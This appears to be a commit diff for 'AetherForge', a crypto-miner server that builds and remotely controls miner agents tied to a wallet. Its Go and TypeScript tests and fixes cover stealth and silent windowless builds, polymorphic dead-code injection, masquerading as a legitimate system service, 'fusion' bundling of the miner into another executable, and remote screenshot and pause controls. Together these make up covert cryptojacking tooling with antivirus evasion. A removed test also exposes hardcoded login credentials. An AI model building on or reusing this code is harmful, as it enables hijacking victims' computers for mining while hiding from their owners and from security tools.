ID: "u1", WorkerName: "pc", FilePath: artifact, CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/u1/uninstall", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "u1")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadUninstall(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("status: %d", rec.Code)
}
}
func TestBuildAgentSinglePlatformCompileFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
req := &BuildRequest{
TargetOS: "windows",
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
}
resp, code, _ := h.buildAgent(context.Background(), req, "")
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("expected compile error: code=%d %+v", code, resp)
}
}
func TestBuildAgentUniversalDelegatesCompileFails(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
req := &BuildRequest{
TargetOS: "universal",
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
}
resp, code, _ := h.buildAgent(context.Background(), req, "")
if code != http.StatusInternalServerError || resp.Success {
t.Fatalf("universal build should fail compile: code=%d %+v", code, resp)
}
if !strings.Contains(resp.Error, "compile") && resp.Error == "" {
t.Fatalf("expected compile-related error: %q", resp.Error)
}
}
func TestCopyAgentSourceFromWorkspace(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
dest := t.TempDir()
if err := h.copyAgentSource(dest); err != nil {
t.Fatal(err)
}
if _, err := os.Stat(filepath.Join(dest, "main.go")); err != nil {
t.Fatalf("main.go not copied: %v", err)
}
if _, err := os.Stat(filepath.Join(dest, "config", "builtin.go")); err == nil {
t.Fatal("builtin.go should be skipped during copy")
}
}
func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
_, _, err := h.saveUploadedFusionPayload(nil, nil)
if err == nil || !strings.Contains(err.Error(), "missing") {
t.Fatalf("expected missing header error, got %v", err)
}
}

View File

@@ -0,0 +1,15 @@
package builder
import "testing"
func TestFusionConstants(t *testing.T) {
if FusionMaxUploadBytes != 2<<30 {
t.Fatalf("FusionMaxUploadBytes: got %d want %d", FusionMaxUploadBytes, 2<<30)
}
if FusionDeliverablesDir != "fusion-deliverables" {
t.Fatalf("FusionDeliverablesDir: got %q", FusionDeliverablesDir)
}
if mediaLockMagic != "CMVD" {
t.Fatalf("mediaLockMagic: got %q", mediaLockMagic)
}
}

View File

@@ -5,6 +5,7 @@ import (
"io" "io"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"testing" "testing"
) )
@@ -77,6 +78,42 @@ func TestEncryptMediaRoundTrip(t *testing.T) {
if string(got) != string(plain) { if string(got) != string(plain) {
t.Fatalf("roundtrip mismatch") t.Fatalf("roundtrip mismatch")
} }
_ = base64.StdEncoding.EncodeToString(key) // key format used in manifest b64 := MediaLockKeyB64(key)
if b64 != base64.StdEncoding.EncodeToString(key) {
t.Fatalf("MediaLockKeyB64 mismatch: %q", b64)
}
}
func TestEncryptMediaFileEmptyKey(t *testing.T) {
dir := t.TempDir()
src := filepath.Join(dir, "x.bin")
if err := os.WriteFile(src, []byte("x"), 0644); err != nil {
t.Fatal(err)
}
err := EncryptMediaFile(src, filepath.Join(dir, "out.bin"), nil)
if err == nil || !strings.Contains(err.Error(), "empty") {
t.Fatalf("expected empty key error, got %v", err)
}
}
func TestEncryptMediaFileMissingSource(t *testing.T) {
key, err := NewMediaLockKey()
if err != nil {
t.Fatal(err)
}
err = EncryptMediaFile(filepath.Join(t.TempDir(), "missing.bin"), filepath.Join(t.TempDir(), "out.bin"), key)
if err == nil {
t.Fatal("expected open error for missing source")
}
}
func TestNewMediaLockKeyLength(t *testing.T) {
key, err := NewMediaLockKey()
if err != nil {
t.Fatal(err)
}
if len(key) != 32 {
t.Fatalf("expected 32-byte key, got %d", len(key))
}
} }

View File

@@ -46,11 +46,17 @@ func platformsForRequest(req *BuildRequest) []BuildPlatform {
} }
if target == "universal" { if target == "universal" {
if req.TargetArch != "" && req.TargetArch != "all" { if req.TargetArch != "" && req.TargetArch != "all" {
// Return ALL platforms matching the requested arch, not just the first.
// e.g. arm64 → [linux-arm64, darwin-arm64], not just linux-arm64.
var matched []BuildPlatform
for _, p := range defaultPlatforms { for _, p := range defaultPlatforms {
if p.GOARCH == req.TargetArch { if p.GOARCH == req.TargetArch {
return []BuildPlatform{p} matched = append(matched, p)
} }
} }
if len(matched) > 0 {
return matched
}
} }
return append([]BuildPlatform{}, defaultPlatforms...) return append([]BuildPlatform{}, defaultPlatforms...)
} }

View File

@@ -64,6 +64,56 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
} }
} }
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
p := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
if p.Label() != "linux-arm64" {
t.Fatalf("label: %q", p.Label())
}
if p.BinDir() != "bin/linux-arm64" {
t.Fatalf("bindir: %q", p.BinDir())
}
}
func TestPlatformsForRequestDarwin(t *testing.T) {
req := &BuildRequest{TargetOS: "darwin", TargetArch: "amd64"}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOARCH != "amd64" {
t.Fatalf("darwin: %+v", ps)
}
}
func TestPlatformsForRequestUniversalFilteredArch(t *testing.T) {
req := &BuildRequest{TargetOS: "universal", TargetArch: "arm64"}
ps := platformsForRequest(req)
// universal+arm64 must return ALL arm64 platforms (linux-arm64 + darwin-arm64).
if len(ps) < 2 {
t.Fatalf("expected multiple arm64 platforms, got %d: %+v", len(ps), ps)
}
for _, p := range ps {
if p.GOARCH != "arm64" {
t.Fatalf("non-arm64 platform returned: %+v", p)
}
}
// Verify both expected platforms are present.
goos := map[string]bool{}
for _, p := range ps {
goos[p.GOOS] = true
}
if !goos["linux"] || !goos["darwin"] {
t.Fatalf("expected linux-arm64 and darwin-arm64, got %+v", ps)
}
}
func TestWorkerFileName(t *testing.T) {
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
if got := workerFileName("my pc", win, false); got != "install-my-pc.exe" {
t.Fatalf("install name: %q", got)
}
if got := workerFileName("my pc", win, true); got != "worker-my-pc.exe" {
t.Fatalf("worker name: %q", got)
}
}
func TestLdflagsForWindowsGUI(t *testing.T) { func TestLdflagsForWindowsGUI(t *testing.T) {
req := &BuildRequest{StealthMode: true} req := &BuildRequest{StealthMode: true}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
@@ -75,3 +125,54 @@ func TestLdflagsForWindowsGUI(t *testing.T) {
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux) t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
} }
} }
func TestPlatformsForRequestWindowsExplicit(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "windows"})
if len(ps) != 1 || ps[0].GOOS != "windows" || ps[0].GOARCH != "amd64" {
t.Fatalf("windows: %+v", ps)
}
}
func TestPlatformsForRequestLinuxDefaultArch(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "linux"})
if len(ps) != 1 || ps[0].GOARCH != "amd64" {
t.Fatalf("linux default arch: %+v", ps)
}
}
func TestPlatformsForRequestDarwinDefaultArch(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "darwin"})
if len(ps) != 1 || ps[0].GOARCH != "arm64" {
t.Fatalf("darwin default arch: %+v", ps)
}
}
func TestPlatformsForRequestUnknownTarget(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "freebsd"})
if len(ps) != 1 || ps[0].GOOS != "windows" {
t.Fatalf("unknown target should fall back to windows: %+v", ps)
}
}
func TestPlatformsForRequestUniversalUnknownArch(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "universal", TargetArch: "mips"})
if len(ps) != len(defaultPlatforms) {
t.Fatalf("unknown arch filter should return all platforms, got %d", len(ps))
}
}
func TestLdflagsForFusionEnabled(t *testing.T) {
req := &BuildRequest{FusionEnabled: true, DisplayMode: "visible"}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if !strings.Contains(ld, "windowsgui") {
t.Fatalf("fusion should force GUI on windows: %q", ld)
}
}
func TestLdflagsForSilentDisplayMode(t *testing.T) {
req := &BuildRequest{DisplayMode: "silent"}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if !strings.Contains(ld, "windowsgui") {
t.Fatalf("silent display mode: %q", ld)
}
}

View File

@@ -0,0 +1,76 @@
package builder
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestInjectPolymorphCreatesFile(t *testing.T) {
dir := t.TempDir()
ldflags, err := injectPolymorph(dir, "test-seed-123")
if err != nil {
t.Fatal(err)
}
if !strings.Contains(ldflags, "-buildid=") || !strings.Contains(ldflags, "-X main.polymorphNonce=") {
t.Fatalf("unexpected ldflags: %q", ldflags)
}
deadcode := filepath.Join(dir, "polymorph", "deadcode.go")
raw, err := os.ReadFile(deadcode)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(raw), "package polymorph") {
t.Fatal("deadcode.go missing package")
}
if !strings.Contains(string(raw), "test-seed-123") {
t.Fatal("seed not embedded")
}
}
func TestInjectPolymorphEmptySeed(t *testing.T) {
dir := t.TempDir()
_, err := injectPolymorph(dir, "")
if err != nil {
t.Fatal(err)
}
}
func TestPickServiceMasqueradeDeterministic(t *testing.T) {
n1, d1 := pickServiceMasquerade("build-abc")
n2, d2 := pickServiceMasquerade("build-abc")
if n1 != n2 || d1 != d2 {
t.Fatalf("masquerade should be deterministic: (%s,%s) vs (%s,%s)", n1, d1, n2, d2)
}
if n1 == "" || d1 == "" {
t.Fatal("expected non-empty masquerade profile")
}
}
func TestPickServiceMasqueradeVariesBySeed(t *testing.T) {
seen := map[string]bool{}
for i := 0; i < 20; i++ {
name, _ := pickServiceMasquerade(string(rune('a' + i)))
seen[name] = true
}
if len(seen) < 2 {
t.Fatal("expected different masquerade names across seeds")
}
}
func TestServiceMasqueradeHelpers(t *testing.T) {
req := &BuildRequest{RunAs: "service"}
if !serviceMasqueradeEnabled(req) {
t.Fatal("service run-as should enable masquerade")
}
name := serviceMasqueradeName("bid", req)
donor := serviceMasqueradeDonor("bid", req)
if name == "" || donor == "" {
t.Fatalf("expected masquerade name/donor, got %q / %q", name, donor)
}
userReq := &BuildRequest{RunAs: "user"}
if serviceMasqueradeName("bid", userReq) != "" {
t.Fatal("user run-as should not masquerade")
}
}

View File

@@ -0,0 +1,69 @@
package builder
import (
"os"
"path/filepath"
"runtime"
"testing"
"crypto-miner-server/internal/db"
)
// testWorkspaceRoot walks up from cwd to find the repo root (agent + fusion sources).
func testWorkspaceRoot(t *testing.T) string {
t.Helper()
dir, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
for i := 0; i < 10; i++ {
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
return dir
}
}
parent := filepath.Dir(dir)
if parent == dir {
break
}
dir = parent
}
t.Skip("workspace root (agent/ and fusion/) not found")
return ""
}
func testHandlerDB(t *testing.T) (*Handler, *db.Database) {
t.Helper()
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
root := testWorkspaceRoot(t)
h := &Handler{
db: database,
dataDir: t.TempDir(),
agentSrcDir: filepath.Join(root, "agent"),
projectRoot: root,
goBinPath: "go",
}
return h, database
}
// setFakeGoFail points goBinPath at a script that always exits non-zero.
func setFakeGoFail(t *testing.T, h *Handler) {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
p := filepath.Join(dir, "go-fail.bat")
if err := os.WriteFile(p, []byte("@echo off\r\nexit /b 1\r\n"), 0644); err != nil {
t.Fatal(err)
}
h.goBinPath = p
return
}
p := filepath.Join(dir, "go-fail.sh")
if err := os.WriteFile(p, []byte("#!/bin/sh\nexit 1\n"), 0755); err != nil {
t.Fatal(err)
}
h.goBinPath = p
}

View File

@@ -2,6 +2,7 @@ package db
import ( import (
"encoding/json" "encoding/json"
"log"
"strings" "strings"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
@@ -14,6 +15,7 @@ func decodeTags(raw string) []string {
} }
var tags []string var tags []string
if err := json.Unmarshal([]byte(raw), &tags); err != nil { if err := json.Unmarshal([]byte(raw), &tags); err != nil {
log.Printf("[db] decodeTags: corrupt tags JSON ignored (%v): %q", err, raw)
return []string{} return []string{}
} }
return tags return tags

View File

@@ -48,14 +48,21 @@ func runRetention(database *db.Database, dataDir string, statsHours, buildDays i
return return
} }
for _, b := range builds { for _, b := range builds {
if b.FilePath != "" { // Delete the DB record first. If this fails the build directory is
dir := filepath.Dir(b.FilePath) // still intact so the next retention pass can retry cleanly.
_ = os.RemoveAll(dir)
} else {
_ = os.RemoveAll(filepath.Join(dataDir, "builds", b.ID))
}
if err := database.DeleteBuild(b.ID); err != nil { if err := database.DeleteBuild(b.ID); err != nil {
log.Printf("[Retention] delete build %s: %v", b.ID, err) log.Printf("[Retention] delete build %s from DB: %v — skipping file removal", b.ID, err)
continue
}
// Remove files only after the DB row is gone.
var dir string
if b.FilePath != "" {
dir = filepath.Dir(b.FilePath)
} else {
dir = filepath.Join(dataDir, "builds", b.ID)
}
if err := os.RemoveAll(dir); err != nil {
log.Printf("[Retention] remove build dir %s: %v", dir, err)
} else { } else {
log.Printf("[Retention] removed build %s (%s)", b.ID, b.WorkerName) log.Printf("[Retention] removed build %s (%s)", b.ID, b.WorkerName)
} }

View File

@@ -178,7 +178,7 @@ func main() {
applyRuntimeConfig(c, wsHub, poolManager, builderHandler) applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
}, },
} }
configHandler := api.NewConfigHandler(database, configProvider) configHandler := api.NewConfigHandler(configProvider)
log.Println("Config handler initialized") log.Println("Config handler initialized")
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays) maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
@@ -324,6 +324,26 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return fmt.Errorf("invalid config: %w", err) return fmt.Errorf("invalid config: %w", err)
} }
// Semantic validation — reject values that would break the server at runtime.
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
return fmt.Errorf("invalid config: port %d out of range (165535)", incoming.Port)
}
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
return fmt.Errorf("invalid config: pool.port %d out of range (165535)", incoming.Pool.Port)
}
if incoming.Server.MaxAgents < 0 {
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
}
if incoming.Server.StatsRetentionHours < 0 {
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
}
if incoming.Server.BuildRetentionDays < 0 {
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
}
if incoming.Server.MaxBuildSizeMB < 0 {
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
}
// Determine which top-level keys were explicitly present in the JSON payload. // Determine which top-level keys were explicitly present in the JSON payload.
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent // This prevents partial PUTs from corrupting boolean fields (H14): a key absent
// from the payload is treated as "not changed", not "set to false". // from the payload is treated as "not changed", not "set to false".

161
server/main_test.go Normal file
View File

@@ -0,0 +1,161 @@
package main
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestResolveDataDirAbsolute(t *testing.T) {
abs := filepath.Join(t.TempDir(), "data")
got := resolveDataDir(abs, "C:\\project")
if got != abs {
t.Fatalf("absolute data dir unchanged: got %q want %q", got, abs)
}
}
func TestResolveDataDirRelativeWithProjectRoot(t *testing.T) {
root := filepath.Join(t.TempDir(), "repo")
got := resolveDataDir("data", root)
want := filepath.Join(root, "data")
if got != want {
t.Fatalf("got %q want %q", got, want)
}
}
func TestResolveDataDirRelativeWithoutProjectRoot(t *testing.T) {
got := resolveDataDir("data", "")
if !filepath.IsAbs(got) {
t.Fatalf("expected absolute path when project root empty, got %q", got)
}
if filepath.Base(got) != "data" {
t.Fatalf("expected basename data, got %q", got)
}
}
func TestResolveDataDirDotProjectRoot(t *testing.T) {
got := resolveDataDir("data", ".")
if !filepath.IsAbs(got) {
t.Fatalf("expected absolute path, got %q", got)
}
}
func TestFindProjectRootFromServerDir(t *testing.T) {
cwd, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
root := findProjectRoot()
runBat := filepath.Join(root, "run.bat")
if _, err := os.Stat(runBat); err != nil {
t.Fatalf("findProjectRoot=%q missing run.bat: %v", root, err)
}
// When tests run from server/, root should be parent of cwd or cwd itself.
if root != cwd && root != filepath.Dir(cwd) {
t.Logf("findProjectRoot=%q cwd=%q (acceptable if run.bat layout differs)", root, cwd)
}
}
func TestFindAgentSourceDir(t *testing.T) {
dir := findAgentSourceDir()
goMod := filepath.Join(dir, "go.mod")
if _, err := os.Stat(goMod); err != nil {
t.Fatalf("agent source %q missing go.mod: %v", dir, err)
}
}
func TestFindWebRoot(t *testing.T) {
dir := findWebRoot()
if dir == "" {
t.Fatal("findWebRoot returned empty string")
}
index := filepath.Join(dir, "index.html")
if _, err := os.Stat(index); err != nil {
t.Fatalf("web root %q missing index.html: %v", dir, err)
}
}
func TestServerConfigProviderPublicURL(t *testing.T) {
cfg := DefaultConfig()
cfg.Server.PublicURL = "https://forge.example"
p := &serverConfigProvider{config: cfg}
if got := p.PublicURL(); got != "https://forge.example" {
t.Fatalf("PublicURL: got %q", got)
}
}
func TestServerConfigProviderGetConfigJSON(t *testing.T) {
cfg := DefaultConfig()
cfg.Port = 7777
p := &serverConfigProvider{config: cfg}
raw := p.GetConfigJSON()
var decoded Config
if err := json.Unmarshal(raw, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Port != 7777 {
t.Fatalf("port in JSON: got %d", decoded.Port)
}
}
func TestServerConfigProviderUpdateConfigFromJSON(t *testing.T) {
dir := t.TempDir()
cfg := DefaultConfig()
cfg.DataDir = dir
cfg.Wallet.Address = "48keep"
p := &serverConfigProvider{config: cfg}
if err := p.UpdateConfigFromJSON([]byte(`{"port":8888}`)); err != nil {
t.Fatal(err)
}
if cfg.Port != 8888 {
t.Fatalf("port not updated: %d", cfg.Port)
}
if cfg.Wallet.Address != "48keep" {
t.Fatalf("partial update must preserve wallet: %q", cfg.Wallet.Address)
}
raw, err := os.ReadFile(filepath.Join(dir, "config.json"))
if err != nil {
t.Fatal(err)
}
var saved Config
if err := json.Unmarshal(raw, &saved); err != nil {
t.Fatal(err)
}
if saved.Port != 8888 {
t.Fatalf("saved port: got %d", saved.Port)
}
}
func TestServerConfigProviderUpdateConfigInvalidJSON(t *testing.T) {
cfg := DefaultConfig()
p := &serverConfigProvider{config: cfg}
err := p.UpdateConfigFromJSON([]byte(`{not json`))
if err == nil {
t.Fatal("expected error for invalid JSON")
}
}
func TestServerConfigProviderOnSavedCallback(t *testing.T) {
dir := t.TempDir()
cfg := DefaultConfig()
cfg.DataDir = dir
called := false
p := &serverConfigProvider{
config: cfg,
onSaved: func(c *Config) {
called = true
if c.Port != 6666 {
t.Fatalf("callback port: got %d", c.Port)
}
},
}
if err := p.UpdateConfigFromJSON([]byte(`{"port":6666}`)); err != nil {
t.Fatal(err)
}
if !called {
t.Fatal("onSaved callback not invoked")
}
}

View File

@@ -0,0 +1,17 @@
import { expect, type Page } from '@playwright/test';
/** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
/** Seed this into the server data dir as users.json before first start (see tests/README.md). */
export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
export async function loginToDashboard(page: Page): Promise<void> {
await page.goto('/');
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });
await page.getByLabel('Username').fill(E2E_USER);
await page.getByLabel('Password').fill(E2E_PASS);
await page.getByRole('button', { name: /enter command deck/i }).click();
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 15_000 });
}

View File

@@ -0,0 +1,33 @@
import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
test.describe('Page smoke', () => {
test.beforeEach(async ({ page }) => {
await loginToDashboard(page);
});
test('Dashboard renders Command Deck', async ({ page }) => {
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible();
await expect(page.getByText('Fleet Pipeline')).toBeVisible();
await expect(page.getByText('Machine Roster')).toBeVisible();
});
test('Agents renders Fleet Roster', async ({ page }) => {
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(/NODES/i)).toBeVisible();
});
test('Settings renders Calibrate', async ({ page }) => {
await page.getByRole('link', { name: /Calibrate/i }).click();
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
});
test('Builder renders The Forge', async ({ page }) => {
await page.getByRole('link', { name: /Forge/i }).click();
await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.getByRole('button', { name: 'Simple' })).toBeVisible();
});
});

View File

@@ -0,0 +1,72 @@
import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
const OFFLINE_AGENT = {
id: 'e2e-offline-agent',
name: 'Offline Node',
wallet: '4' + 'A'.repeat(94),
ip: '192.168.1.99',
version: '1.0.0',
status: 'offline',
cpu_cores: 4,
memory_gb: 8,
last_seen: new Date(Date.now() - 3600_000).toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
platform: 'windows',
arch: 'amd64',
};
test.describe('Remote actions UI', () => {
test.beforeEach(async ({ page }) => {
await page.route('**/api/v1/agents', async (route) => {
if (route.request().method() === 'GET' && route.request().url().endsWith('/agents')) {
await route.fulfill({ json: [OFFLINE_AGENT] });
return;
}
await route.continue();
});
await page.route('**/api/v1/agents/*/stats*', async (route) => {
await route.fulfill({ json: [] });
});
await page.route('**/api/v1/builds', async (route) => {
await route.fulfill({ json: [] });
});
await page.route('**/api/v1/server/info', async (route) => {
await route.fulfill({
json: {
version: 'test',
suggested_url: 'http://127.0.0.1:8989',
agent_count: 1,
online_count: 0,
},
});
});
await loginToDashboard(page);
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
});
test('detail panel disables remote actions for offline agent', async ({ page }) => {
await page.getByText('Offline Node').click();
const detail = page.locator('.agent-detail');
await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
});
test('compact row remote actions disabled when offline', async ({ page }) => {
await page.getByText('Offline Node').click();
const compact = page.locator('.agent-list-item.expanded');
await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
});
});

View File

@@ -1,4 +1,5 @@
import { expect, test } from '@playwright/test'; import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
test.describe('AetherForge smoke', () => { test.describe('AetherForge smoke', () => {
test('health endpoint responds', async ({ request }) => { test('health endpoint responds', async ({ request }) => {
@@ -9,20 +10,11 @@ test.describe('AetherForge smoke', () => {
}); });
test('login gate renders and accepts credentials', async ({ page }) => { test('login gate renders and accepts credentials', async ({ page }) => {
await page.goto('/'); await loginToDashboard(page);
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });
await page.getByLabel('Username').fill('drjones');
await page.getByLabel('Password').fill('czapiewski');
await page.getByRole('button', { name: /enter command deck/i }).click();
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 15_000 });
}); });
test('forge page loads after login', async ({ page }) => { test('forge page loads after login', async ({ page }) => {
await page.goto('/'); await loginToDashboard(page);
await page.getByLabel('Username').fill('drjones');
await page.getByLabel('Password').fill('czapiewski');
await page.getByRole('button', { name: /enter command deck/i }).click();
await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 15_000 });
await page.getByRole('link', { name: /forge/i }).click(); await page.getByRole('link', { name: /forge/i }).click();
await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 }); await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 });
}); });

View File

@@ -0,0 +1,71 @@
/**
* @vitest-environment happy-dom
*/
import type { ReactNode } from 'react';
import { describe, expect, it, vi } from 'vitest';
import { render, screen } from '@testing-library/react';
import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom';
import App, { PageFallback } from './App';
vi.mock('./context/WebSocketProvider', () => ({
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));
vi.mock('./context/ForgeContext', () => ({
ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));
vi.mock('./components/SessionGate', () => ({
default: ({ children }: { children: ReactNode }) => <>{children}</>,
}));
vi.mock('./components/Layout/Layout', () => ({
default: ({ children }: { children: ReactNode }) => <div data-testid="layout">{children}</div>,
}));
vi.mock('./pages/DashboardPage', () => ({ default: () => <div>Dashboard Page</div> }));
vi.mock('./pages/AgentsPage', () => ({ default: () => <div>Agents Page</div> }));
vi.mock('./pages/BuilderPage', () => ({ default: () => <div>Forge Page</div> }));
vi.mock('./pages/BuildManagerPage', () => ({ default: () => <div>Builds Page</div> }));
vi.mock('./pages/SettingsPage', () => ({ default: () => <div>Settings Page</div> }));
vi.mock('./pages/GuidePage', () => ({ default: () => <div>Guide Page</div> }));
vi.mock('./pages/CruciblePage', () => ({ default: () => <div>Crucible Page</div> }));
describe('PageFallback', () => {
it('shows loading copy', () => {
render(<PageFallback />);
expect(screen.getByText('Loading…')).toBeTruthy();
});
});
describe('App route config', () => {
it('redirects / to dashboard and /builder to forge', () => {
function RedirectProbe({ path }: { path: string }) {
return (
<MemoryRouter initialEntries={[path]}>
<Routes>
<Route path="/" element={<Navigate to="/dashboard" replace />} />
<Route path="/dashboard" element={<div>Dashboard Page</div>} />
<Route path="/builder" element={<Navigate to="/forge" replace />} />
<Route path="/forge" element={<div>Forge Page</div>} />
</Routes>
</MemoryRouter>
);
}
const { unmount: u1 } = render(<RedirectProbe path="/" />);
expect(screen.getByText('Dashboard Page')).toBeTruthy();
u1();
render(<RedirectProbe path="/builder" />);
expect(screen.getByText('Forge Page')).toBeTruthy();
});
it('renders crucible route via App shell', async () => {
render(
<MemoryRouter initialEntries={['/crucible']}>
<App />
</MemoryRouter>
);
expect(await screen.findByText('Crucible Page')).toBeTruthy();
expect(screen.getByTestId('layout')).toBeTruthy();
});
});

View File

@@ -13,7 +13,7 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage')); const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage')); const CruciblePage = lazy(() => import('./pages/CruciblePage'));
function PageFallback() { export function PageFallback() {
return ( return (
<div className="session-gate" style={{ minHeight: '40vh' }}> <div className="session-gate" style={{ minHeight: '40vh' }}>
<p className="font-tech">Loading</p> <p className="font-tech">Loading</p>

View File

@@ -153,6 +153,12 @@ describe('api client', () => {
expectAuthHeaders(init); expectAuthHeaders(init);
}); });
it('estimateFusion rejects without prep file', async () => {
const req = { fusion_enabled: true } as Parameters<typeof api.estimateFusion>[0];
await expect(api.estimateFusion(req, null)).rejects.toThrow('Fusion requires prep.exe upload');
expect(fetchMock).not.toHaveBeenCalled();
});
it('pinBuild, unpinAll, deleteBuild use correct methods and paths', async () => { it('pinBuild, unpinAll, deleteBuild use correct methods and paths', async () => {
fetchMock fetchMock
.mockResolvedValueOnce(jsonResponse({ ok: true, pinned_id: 'b1' })) .mockResolvedValueOnce(jsonResponse({ ok: true, pinned_id: 'b1' }))

View File

@@ -70,7 +70,10 @@ export const api = {
}); });
}, },
estimateFusion: (req: BuildRequest, prepFile: File) => { estimateFusion: (req: BuildRequest, prepFile?: File | null) => {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData(); const form = new FormData();
form.append('config', JSON.stringify(req)); form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');

View File

@@ -17,7 +17,8 @@ export default function GaugeRing({
color = 'var(--neon-cyan)', color = 'var(--neon-cyan)',
size = 100, size = 100,
}: GaugeRingProps) { }: GaugeRingProps) {
